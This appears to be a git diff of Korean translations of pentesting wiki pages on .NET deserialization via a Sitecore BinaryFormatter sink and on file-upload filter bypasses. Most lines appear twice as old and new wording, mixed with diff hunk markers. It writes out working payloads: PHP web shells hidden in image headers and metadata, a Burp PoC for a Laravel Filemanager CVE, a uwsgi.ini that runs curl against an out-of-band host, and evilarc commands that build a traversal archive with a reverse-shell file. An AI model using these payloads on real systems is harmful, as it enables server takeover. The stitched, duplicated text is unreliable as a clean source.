> 모든 페이로드는 기본적으로 **stdout**으로 출력되므로, 이를 다른 도구(예: ViewState generators, base64 encoders, HTTP clients)로 파이프하기가 매우 간단합니다.
> 모든 페이로드는 **stdout**으로 기본 출력되므로 다른 도구(예: ViewState 생성기, base64 인코더, HTTP 클라이언트)로 파이프하는 것이 매우 간단합니다.
### YSoNet 빌드 / 설치
만약 *Actions ➜ Artifacts* / *Releases*에서 사전 컴파일된 바이너리를 사용할 수 없다면, 다음 **PowerShell** 원라이너는 빌드 환경을 설정하고 리포지토리를 클론한 다음 모든 것을 *Release* 모드로 컴파일합니다:
Actions ➜ Artifacts / Releases에 사전 컴파일된 바이너리가 없는 경우, 다음 **PowerShell** 한줄 명령은 빌드 환경을 설정하고 리포지토리를 클론한 다음 Release 모드로 모든 것을 컴파일합니다:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
@ -216,22 +216,22 @@ cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
```
컴파일된 `ysonet.exe``ysonet/bin/Release/`에 있습니다.
컴파일된 `ysonet.exe``ysonet/bin/Release/`서 찾을 수 있습니다.
### 탐지 및 강화
* **Detect** `w3wp.exe`, `PowerShell.exe` 또는 사용자 제공 데이터를 역직렬화하는 모든 프로세스(e.g. `MessagePack`, `Json.NET`)의 예상치 못한 하위 프로세스를 감지합니다.
* 레거시 `BinaryFormatter` / `NetDataContractSerializer`를 제거할 수 없는 경우에는 **type-filtering**을 활성화하고 강제 적용하세요 (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*).
* 가능하면 화이트리스트 기반 컨버터를 사용하여 **`System.Text.Json`** 또는 **`DataContractJsonSerializer`**로 마이그레이션하세요.
* 웹 프로세스에서 절대 필요하지 않은 경우 위험한 WPF 어셈블리(`PresentationFramework`, `System.Workflow.*`)가 로드되지 않도록 차단하세요.
* **Detect** `w3wp.exe`, `PowerShell.exe` 또는 사용자로부터 제공된 데이터를 역직렬화하는 프로세스(예: `MessagePack`, `Json.NET`)의 예기치 않은 자식 프로세스를 탐지하세요.
* 레거시 `BinaryFormatter` / `NetDataContractSerializer`를 제거할 수 없는 경우에는 항상 **type-filtering**을 활성화하고 적용하세요 (`TypeFilterLevel` = *Full*, 커스텀 `SurrogateSelector`, `SerializationBinder`, *등*).
* 가능한 경우 whitelist 기반 컨버터를 사용하여 **`System.Text.Json`** 또는 **`DataContractJsonSerializer`**로 마이그레이션하세요.
* 웹 프로세스에서 절대 필요하지 않은 경우 `PresentationFramework`, `System.Workflow.*` 같은 위험한 WPF 어셈블리가 로드되지 않도록 차단하세요.
## 실 사례: Sitecore convertToRuntimeHtml → BinaryFormatter
## 실 사례: Sitecore convertToRuntimeHtml → BinaryFormatter
인증된 Sitecore XP Content Editor 흐름에서 접근 가능한 실무용 .NET sink:
인증된 Sitecore XP Content Editor 흐름에서 도달 가능한 실용적인 .NET sink:
- Sink API: `Sitecore.Convert.Base64ToObject(string)``new BinaryFormatter().Deserialize(...)`래핑합니다.
- Trigger path: 파이프라인 `convertToRuntimeHtml``ConvertWebControls``id="{iframeId}_inner"`인 형제 요소를 검색하고 base64로 인코딩된 직렬화된 데이터로 처리되는 `value` 속성을 읽습니다. 그 결과는 string으로 캐스팅되어 HTML에 삽입됩니다.
- Sink API: `Sitecore.Convert.Base64ToObject(string)`내부적으로 `new BinaryFormatter().Deserialize(...)`호출합니다.
- Trigger path: 파이프라인 `convertToRuntimeHtml``ConvertWebControls``id="{iframeId}_inner"`인 형제 요소를 찾아 `value` 속성을 읽는데, 이 값은 base64로 인코딩된 직렬화된 데이터로 취급됩니다. 결과는 문자열로 캐스팅되어 HTML에 삽입됩니다.
최소 endtoend (인증된):
최소 엔드투엔드(인증됨):
```
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
@ -246,9 +246,9 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
- Gadget: string을 반환하는 모든 BinaryFormatter 체인(부작용은 deserialization 중에 실행됩니다). YSoNet/ysoserial.net을 참조하여 payloads를 생성하세요.
- Gadget: string을 반환하는 모든 BinaryFormatter 체인(부작용은 deserialization 동안 실행됩니다). YSoNet/ysoserial.net을 사용해 payloads를 생성하세요.
For a full chain that starts preauth with HTML cache poisoning in Sitecore and leads to this sink:
Sitecore에서 HTML cache poisoning으로 preauth로 시작하여 이 sink로 이어지는 전체 체인:
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md

View File

@ -4,10 +4,10 @@
## 파일 업로드 일반 방법론
다른 유용한 확장자:
추가로 유용한 확장자:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **PHPv8에서 작동**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -17,11 +17,11 @@
### 파일 확장자 검사 우회
1. 적용된다면, **이전 확장자들****확인**하세요. 또한 일부 **대문자**를 사용해 테스트하세요: _pHp, .pHP5, .PhAr ..._
2. _실행 확장자 앞에 유효한 확장자를 **추가하여 검사하세요** (이전 확장자들도 사용하세요):_
1. 적용된다면, **이전 확장자들을 확인**하세요. 또한 일부 **대문자**를 사용해 테스트하세요: _pHp, .pHP5, .PhAr ..._
2. _실행 확장자 앞에 유효한 확장자를 **추가하는 것을 확인**하세요 (이전 확장자들도 사용하세요):_
- _file.png.php_
- _file.png.Php5_
3. 끝에 **특수 문자**를 추가해보세요. Burp를 사용해 모든 **ascii****Unicode** 문자를 **bruteforce**할 수 있습니다. (_참고: 이전에 언급한 **extensions**도 사용할 수 있습니다_)
3. 파일명 끝에 **특수 문자**를 추가해보세요. Burp를 사용해 모든 **ascii****Unicode** 문자를 **bruteforce**할 수 있습니다. (_이전에 언급한 **확장자**들도 사용해볼 수 있습니다_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. 서버 측의 **확장자 파서**를 속여 보호를 우회해보세요. 예: 확장자 **중복** 또는 확장자 사이에 **junk** 데이터(**null** bytes) 추가. _더 나은 페이로드를 위해 **이전 확장자**도 사용할 수 있습니다._
4. 서버 측의 확장자 파서를 속여 보호를 우회해보세요. 예: 확장자를 중복시키거나 확장자 사이에 **null bytes** 같은 쓰레기 데이터를 삽입. _더 나은 페이로드를 준비하기 위해 **이전 확장자들**을 사용할 수도 있습니다._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,13 +40,13 @@
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. 이전 검사에 **추가 확장자 레이어**를 더해보세요:
5. 이전에 시도한 것에 **추가 확장자 레이어**를 더해보세요:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. 유효한 확장자 앞에 **exec extension**을 넣어보세요(서버가 잘못 구성되어 있을 때 유용). (예: Apache misconfigurations에서는 확장자가 .php인 파일이라면 반드시 .php로 끝나지 않아도 코드가 실행될 수 있습니다):
6. 실행 확장자를 유효한 확장자 앞에 두어 서버가 잘못 구성되어 있길 바라며 시도해보세요. (예: Apache의 잘못된 구성에서는 파일명이 반드시 .php로 끝나지 않더라도 `.php`가 포함되어 있으면 코드가 실행될 수 있음):
- _ex: file.php.png_
7. **Windows**에서 **NTFS alternate data stream (ADS)** 사용. 이 경우 금지된 확장자 뒤와 허용된 확장자 앞에 콜론 ":" 문자가 삽입됩니다. 결과적으로 서버에 **금지 확장자를 가진 빈 파일**이 생성될 수 있습니다(예: "file.asax:.jpg"). 이 파일은 이후 short filename 같은 기법으로 편집될 수 있습니다. "**::$data**” 패턴은 비어있지 않은 파일을 생성하는 데에도 사용될 수 있습니다. 따라서 이 패턴 뒤에 점을 추가하면 추가 제한을 우회하는 데 유용할 수 있습니다(예: "file.asp::$data.").
8. 파일 이름 길이 제한을 깨보세요. 유효한 확장자가 잘리고 악성 PHP가 남을 수 있습니다. AAA<--SNIP-->AAA.php
7. **Windows**에서 **NTFS alternate data stream (ADS)** 사용. 이 경우, 금지된 확장자 뒤와 허용된 확장자 앞에 콜론 ":" 문자가 삽입됩니다. 결과적으로 서버에 **금지 확장자를 가진 빈 파일**이 생성될 수 있습니다 (예: "file.asax:.jpg"). 이 파일은 이후 short filename 등을 이용한 다른 기법으로 수정될 수 있습니다. "**::$data**” 패턴을 사용해 비어 있지 않은 파일을 생성할 수도 있습니다. 따라서 이 패턴 뒤에 마침표를 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: "file.asp::$data.")
8. 파일 길이 제한을 깨보세요. 유효한 확장자가 잘리고 악성 PHP가 남을 수 있습니다. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) CVE-2024-21546
일부 업로드 핸들러는 저장된 파일명에서 후행 점 문자를 트리밍하거나 정규화합니다. UniSharp의 Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 이전 버전에서는 다음 방식으로 확장자 검증을 우회할 수 있습니다:
일부 업로드 핸들러는 저장된 파일명에서 후행 점(trailing dot) 문자를 제거하거나 정규화합니다. UniSharps Laravel Filemanager (unisharp/laravel-filemanager) 버전 2.9.1 이전에서는 확장자 검증을 다음 방법으로 우회할 수 있습니다:
- 유효한 이미지 MIME 및 magic header 사용 (예: PNG의 `\x89PNG\r\n\x1a\n`).
- 업로드 파일명을 PHP 확장자 뒤에 점을 붙여서 지정 (예: `shell.php.`).
- 서버가 후행 점을 제거하고 `shell.php`로 저장하며, 이것이 웹으로 서비스되는 디렉토리(기본 public storage 예: `/storage/files/`)에 위치하면 실행됩니다.
- 유효한 이미지 MIME과 magic header를 사용하세요 (예: PNG의 `\x89PNG\r\n\x1a\n`).
- 업로드 파일 이름을 PHP 확장자 다음에 점을 붙여 지정하세요. 예: `shell.php.`.
- 서버가 후행 점을 제거`shell.php`로 저장하며, 이 파일이 웹에서 서빙되는 디렉터리(기본 public storage 예: `/storage/files/`)에 배치되면 실행됩니다.
간단한 PoC (Burp Repeater):
최소 PoC (Burp Repeater):
```http
POST /profile/avatar HTTP/1.1
Host: target
@ -80,54 +80,54 @@ Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
```
그런 다음 저장된 경로로 접근하세요 (Laravel + LFM에서 일반적):
그런 다음 저장된 경로로 요청하세요 (Laravel + LFM에서 일반적):
```
GET /storage/files/0xdf.php?cmd=id
```
Mitigations:
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
- 서버 측에서 엄격한 allowlists를 적용하고 저장된 파일명을 재검증하세요.
- 업로드 파일은 실행 불가능한 위치에서 서빙하세요.
- 서버 측에서 strict server-side allowlists를 적용하고 저장된 파일명을 재검증하세요.
- 업로드 파일을 non-executable 위치에서 제공하세요.
### Bypass Content-Type, Magic Number, Compression & Resizing
- Bypass **Content-Type** 검사를 위해 **Content-Type** **header**의 **value**를 다음으로 설정하세요: _image/png_ , _text/plain , application/octet-stream_
- Content-Type 검사를 우회하려면 **Content-Type** **헤더**의 **값**을 다음으로 설정하세요: _image/png_, _text/plain_, application/octet-stream
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- **magic number** 검사를 우회하려면 파일의 시작 부분에 실제 이미지의 바이트를 추가하세요 (file 명령을 혼동시킵니다). 또는 메타데이터에 백도어를 삽입할 수 있습니다:\
- **magic number** 검사를 우회하려면 파일 시작 부분에 **실제 이미지의 바이트**를 추가하여 _file_ 명령을 혼동시키세요. 또는 **metadata**에 셸을 삽입하세요:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` 또는 이미지를 직접 페이로드로 조작할 수도 있습니다:\
`\` 또는 이미지를 직접적으로 **페이로드를 주입**할 수도 있습니다:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- 만약 이미지에 **압축이 적용되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php) 같은 표준 PHP 라이브러리를 사용할 때는 위 기법들이 통하지 않을 수 있습니다. 그러나 **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 이용해 압축을 통과하는 텍스트를 삽입할 수 있습니다.
- 만약 이미지에 **compression이 추가되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php) 같은 표준 PHP 라이브러리를 사용할 때 이전 기법들은 효과가 없을 수 있습니다. 그러나 **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용하면 **압축을 견디는** 텍스트를 삽입할 수 있습니다.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- 웹 페이지가 `imagecopyresized` 또는 `imagecopyresampled` 같은 PHP-GD 함수를 사용해 **이미지를 리사이징**할 수도 있습니다. 하지만 **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용하면 압축을 견디는 텍스트를 삽입할 수 있습니다.
- 웹 페이지가 **이미지 resizing**을 수행할 수도 있습니다. 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용하는 경우가 그렇습니다. 그러나 **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용하면 **압축을 견디는** 텍스트를 삽입할 수 있습니다.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 또 다른 기법으로 PHP-GD의 `thumbnailImage` 함수를 사용할 때에도 **리사이징을 통과하는** 페이로드를 만들 수 있습니다. 또는 **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 이용해 압축을 견디는 텍스트를 삽입할 수 있습니다.
- 이미지 리사이징을 견디는 페이로드를 만드는 또 다른 기법으로 PHP-GD 함수 `thumbnailImage`를 사용하는 방법이 있습니다. 그러나 **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용하면 **압축을 견디는** 텍스트를 삽입할 수 있습니다.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
- 이미 업로드된 파일을 **rename**(확장자 변경)할 수 있는 취약점을 찾아보세요.
- 백도어를 실행하기 위한 **Local File Inclusion** 취약점을 찾아보세요.
- 이미 업로드된 파일의 확장자를 변경하기 위해 파일명을 **rename**할 수 있는 취약점을 찾아보세요.
- Local File Inclusion 취약점을 찾아 백도어를 실행하세요.
- **Possible Information disclosure**:
1. 동일한 이름의 동일한 파일을 **여러 번** (그리고 **동시에**) 업로드해보세요.
2. 이미 존재하는 **파일**이나 **폴더**의 **이름**으로 파일을 업로드해보세요.
3. 파일 이름을 **"."**, **".."**, 또는 **"…"**로 업로드해보세요. 예를 들어 Apache가 **Windows**에서 애플리케이션이 업로드 파일을 "/www/uploads/" 디렉터리에 저장하면, "." 파일명은 "/www/" 디렉터리에 "uploads"라는 파일을 생성할 수 있습니다.
4. **NTFS**에서 삭제하기 어려운 파일 이름(예: **"…:.jpg"**)을 업로드해보세요. (Windows)
5. **Windows**에서 파일 이름에 `|<>*?”` 같은 유효하지 않은 문자를 포함해 업로드해보세요. (Windows)
6. **Windows**에서 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9 같은 예약(금지)된 이름으로 파일을 업로드해보세요.
- 실수로 피해자가 열었을 때 코드가 실행되는 **실행 파일**(.exe)이나 비교적 덜 의심받는 **.html** 파일을 업로드해보세요.
1. 동일한 **파일**을 **여러 번**(그리고 **동시에**) 같은 이름으로 업로드하세요.
2. 이미 존재하는 **파일** 또는 **폴더**의 **이름**으로 파일을 업로드하세요.
3. 파일 이름을 **"."**, **".."**, 또는 **"..."**로 업로드하세요. 예를 들어, Apache가 **Windows**에서 애플리케이션이 업로드 파일을 "/www/uploads/" 디렉터리에 저장하면, "." 파일 이름은 "/www/" 디렉터리에 "uploads"라는 파일을 생성합니다.
4. **NTFS**에서 쉽게 삭제되지 않는 파일 이름(예: **"...:.jpg"**)을 업로드하세요. (Windows)
5. **Windows**에서 파일 이름에 `|<>*?”` 같은 **invalid characters**를 포함한 파일을 업로드하세요. (Windows)
6. **Windows**에서 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9 같은 **reserved**(**forbidden**) 이름을 사용해 파일을 업로드하세요.
- 피해자가 실수로 열었을 때 코드가 실행되도록 **executable**(.exe) 또는 (덜 의심스러운) **.html** 파일을 업로드해 보세요.
### Special extension tricks
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` 파일은 Java의 `.jar`와 유사하지만 PHP용이며, php로 실행하거나 스크립트에 포함해 **php 파일처럼 사용할 수 있습니다** (php로 실행하거나 include 등).
`.inc` 확장자는 종종 파일 임포트용 php 파일에 사용되므로, 어떤 경우에는 이 확장자가 실행되도록 허용되어 있을 수 있습니다.
`.phar` 파일은 자바의 `.jar`와 유사하지만 PHP용이며, **php 파일처럼 사용될 수 있습니다**(php로 실행하거나 스크립트에 포함하여 사용 가능).
`.inc` 확장자는 때때로 파일을 포함(import)하는 용도의 php 파일에 사용됩니다. 따라서 어떤 경우에는 누군가가 이 **확장자가 실행되도록 허용했을 수 있습니다**.
## **Jetty RCE**
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** 따라서 아래 이미지에서 언급된 것처럼 XML 파일을 `$JETTY_BASE/webapps/`에 업로드하면 쉘을 얻을 수 있습니다!
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
@ -135,9 +135,9 @@ If you can upload a XML file into a Jetty server you can obtain [RCE because **n
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
원격 명령 실행(RCE) 취약점은 `.ini` 설정 파일을 수정할 수 있는 능력이 있을 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "magic" 변수, 플레이스홀더, 연산자를 포함하는 특정 문법을 사용합니다. 특히 `@(filename)`처럼 사용되는 '@' 연산자는 파일 내용을 포함하도록 설계되어 있습니다. uWSGI에서 지원하는 여러 스킴 중에서 "exec" 스킴은 프로세스의 표준 출력에서 데이터를 읽어오는 기능을 제공하여 특히 강력합니다. 이 기능은 `.ini` 구성 파일이 처리될 때 Remote Command Execution 또는 Arbitrary File Write/Read 같은 악의적 목적에 악용될 수 있습니다.
uWSGI 서버에서는 `.ini` 구성 파일을 수정할 수 있는 경우 Remote Command Execution (RCE) 취약점을 악용할 수 있습니다. uWSGI 구성 파일은 "magic" 변수, 플레이스홀더 및 연산자를 포함하는 특정 문법을 사용합니다. 특히 '@' 연산자(예: `@(filename)`)는 파일의 내용을 포함하도록 설계되어 있습니다. uWSGI에서 지원하는 여러 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력(stdout)으로부터 데이터를 읽을 수 있게 합니다. 이 기능은 `.ini` 구성 파일이 처리될 때 Remote Command Execution 또는 Arbitrary File Write/Read와 같은 악의적 목적으로 조작될 수 있습니다.
다음은 다양한 스킴을 보여주는 악성 `uwsgi.ini` 파일의 예를 고려해보세요:
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
```ini
[uwsgi]
; read from a symbol
@ -155,14 +155,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
payload의 실행은 설정 파일을 파싱하는 동안 발생합니다. 설정이 활성화되어 파싱되려면 uWSGI 프로세스를 재시작해야 하며(잠재적으로 크래시 후 또는 Denial of Service 공격으로 인해) 또는 파일이 auto-reload로 설정되어 있어야 합니다. auto-reload 기능이 활성화되어 있으면 변경을 감지할 때 지정된 간격으로 파일을 다시 로드합니다.
페이로드의 실행은 설정 파일을 파싱하는 동안 발생합니다. 설정이 활성화되어 파싱되려면 uWSGI 프로세스를 재시작해야 하며(잠재적으로 크래시 후 또는 Denial of Service attack 때문에) 또는 파일이 auto-reload로 설정되어 있어야 합니다. auto-reload 기능이 활성화된 경우, 변경을 감지하면 지정된 간격으로 파일을 다시 로드합니다.
uWSGI의 설정 파일 파싱이 느슨하다는 점을 이해하는 것이 중요합니다. 특히, 앞서 논의한 payload는 binary file(예: image나 PDF) 안에 삽입될 수 있어 잠재적 악용 범위를 더욱 넓힙니다.
uWSGI의 설정 파일 파싱이 느슨하다는 점을 이해하는 것이 중요합니다. 특히, 여기서 논의된 payload는 이미지나 PDF 같은 바이너리 파일 안에 삽입될 수 있어 잠재적 악용 범위를 더욱 넓힙니다.
## **wget File Upload/SSRF Trick**
## **wget 파일 업로드/SSRF 기법**
어떤 경우에는 서버가 **`wget`**을 사용해 **파일을 다운로드**하고 **URL**을 **지정**할 수 있게 되어 있는 것을 발견할 수 있습니다. 이런 경우, 코드가 다운로드된 파일의 확장자가 화이트리스트에 포함되어 있는지 확인하여 허용된 파일만 다운로드되도록 할 수 있습니다. 그러나 **이 검사는 우회될 수 있습니다.**\
**linux**에서 **filename**의 **maximum** 길이는 **255**이지만, **wget**은 파일명을 **236**자로 잘라냅니다. 예를 들어, **download a file called "A"\*232+".php"+".gif"**, 이 파일명은 **bypass** the **check**(이 예에서 **".gif"**는 **valid** 확장자이기 때문에), 하지만 `wget`은 파일명을 **"A"\*232+".php"**로 **rename**합니다.
어떤 경우 서버가 **`wget`**을 사용해 **파일을 다운로드**하도록 하사용자가 **URL**을 **지정**할 수 있게 되어 있는 경우를 발견할 수 있습니다. 이러한 경우 코드에서 다운로드되는 파일의 확장자가 허용된 목록(whitelist)에 있는지 확인해 허용된 파일만 다운로드되도록 할 수 있습니다. 하지만, **이 검사는 우회될 수 있습니다.**\
**linux**에서 파일 이름의 **최대** 길이는 **255**이지만, **`wget`**은 파일명을 **236**자로 잘라냅니다. 예를 들어 **"A"\*232+".php"+".gif"**이라는 파일을 **다운로드**하면, 이 파일명은 **검사**를 **우회**할 수 있습니다(위 예에서 **".gif"**가 **유효한** 확장자이기 때문)지만 `wget`은 파일명을 **"A"\*232+".php"**로 **이름을 변경**합니다.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -187,7 +187,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
```
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
## Tools
## 도구
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
@ -195,7 +195,7 @@ Note that **another option** you may be thinking of to bypass this check is to m
Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.
## From File upload to other vulnerabilities
## File upload에서 다른 취약점으로
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
@ -210,8 +210,8 @@ Some legacy upload handlers that use `snprintf()` or similar to build multi-file
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 콘텐츠를 업로드해 서버에 **antivirus**가 있는지 확인하세요
- 파일 업로드 시 **size limit**가 있는지 확인하세요
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- Check if there is any **size limit** uploading files
Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
@ -254,16 +254,16 @@ tar -cvf test.tar symindex.txt
```
### 다른 폴더로 압축 해제
압축 해제 중 디렉터리 내에 파일이 의도치 않게 생성되는 것은 심각한 문제입니다. 이 구성이 악성 파일 업로드를 통한 OS 수준의 명령 실행을 방지할 수 있을 것이라는 초기 가정과는 달리, 계층적 압축 지원과 ZIP 아카이브 형식의 디렉터리 트래버설 기능은 악용될 수 있습니다. 이를 통해 공격자는 대상 애플리케이션의 압축 해제 기능을 조작하여 제한을 우회하고 보안 업로드 디렉터리에서 탈출할 수 있습니다.
압축 해제 중 디렉터리에 파일이 예기치 않게 생성되는 것은 심각한 문제입니다. 이러한 설정이 악성 파일 업로드를 통한 OS-level command execution을 방지할 수 있다고 초기에는 가정할 수 있지만, ZIP archive format의 계층적 압축 지원과 directory traversal 기능은 악용될 수 있습니다. 이를 통해 공격자는 대상 애플리케이션의 압축 해제 기능을 조작하여 제약을 우회하고 안전한 업로드 디렉터리에서 탈출할 수 있습니다.
이러한 파일을 제작하기 위한 자동화된 익스플로잇은 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)에서 사용할 수 있습니다. 유틸리티는 다음과 같이 사용할 수 있습니다:
이러한 파일을 제작하기 위한 자동화된 exploit는 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)에서 사용할 수 있습니다. 유틸리티는 다음과 같이 사용니다:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
또한, **symlink trick with evilarc**도 하나의 옵션입니다. 목표가 `/flag.txt` 같은 파일을 겨냥하는 것이라면, 해당 파일을 가리키는 symlink를 시스템에 생성해야 합니다. 이렇게 하면 evilarc가 작동하는 동안 오류가 발생하지 않습니다.
또한, **symlink trick with evilarc** 도 하나의 옵션입니다. 목표가 `/flag.txt` 같은 파일을 겨냥하는 것이라면, 해당 파일로 향하는 symlink를 시스템에 생성해야 합니다. 이렇게 하면 evilarc가 작동하는 동안 오류가 발생하지 않습니다.
아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드의 예입니다:
```python
@ -283,11 +283,11 @@ zip.close()
create_zip()
```
**압축 악용을 통한 file spraying**
**Abusing compression for file spraying**
자세한 내용은 **원 게시물을 확인하세요**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
자세한 내용은 **원 게시물을 확인하세요**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
